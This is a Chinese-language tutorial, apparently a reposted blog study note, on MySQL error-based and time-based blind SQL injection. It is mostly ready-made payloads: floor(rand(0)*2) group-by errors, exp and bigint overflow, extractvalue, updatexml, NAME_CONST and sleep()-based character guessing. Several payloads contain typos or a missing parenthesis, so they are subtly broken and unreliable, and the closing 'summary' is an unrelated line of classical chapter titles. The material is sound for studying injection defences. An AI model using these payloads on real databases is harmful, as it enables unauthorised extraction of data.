Background-2 盲注的讲解基础概述二

文章目录

  • 一、基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来
  • 二、基于时间的 SQL 盲注----------延时注入
  • 总结

一、基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a

对此语句进行解释:count()进行计数,concat()进行sql语句的连接,floor函数向下取反,rand()函数生成所及数0-1之间,其中a是别名,造成错误的原因分组后数据计数重复造成的错误。

以上语句可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),
floor(rand(0)*2))

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2)

select count(*) from (select 1 union select null union select !1)  group by concat(version(),floor(rand(0)*2))

如果 rand 被禁用了可以使用用户变量来报错

select min(@a:=1)  from information_schena.tables group by concat(password,@a:=(@a+1)%2)

double数值类型超出范围

select exp(~(select *from (select uses()))a)

exp是以e为底的对数函数

bigint超出范围~0是对0取反

select !(select *from (select user())x)-~0;

详细内容来自http://www.cnblogs.com/lcamry/articles/5509124.html

extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对 xml 数据进
行查询和修改的 xpath 函数,xpath 语法错误

extractvalue()函数

extractvalue(1,concat(0x7e,(select @@version),0x7e))

对extractvalue函数解释

extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。

SQL报错注入的应用:若xpath_expr参数不符合xpath格式,就会报错。

~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

updatexml()函数

updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对 xml 数据进行
查询和修改的 xpath 函数,xpath 语法错误

Background-2 盲注的讲解基础概述二_第1张图片

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重复特性,此处重复了 version,所以报错。

二、基于时间的 SQL 盲注----------延时注入

基于时间盲注if函数

逻辑判断函数if()

if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语

if(ascill(substr(database(),1,1))>115,0,sleep(5))
//if判断语句如果条件为假则执行,sleep()语句

Background-2 盲注的讲解基础概述二_第2张图片
Background-2 盲注的讲解基础概述二_第3张图片

总结

逍遥游,齐物论,养生主,人间世。

你可能感兴趣的:(SQL注入专题,web安全)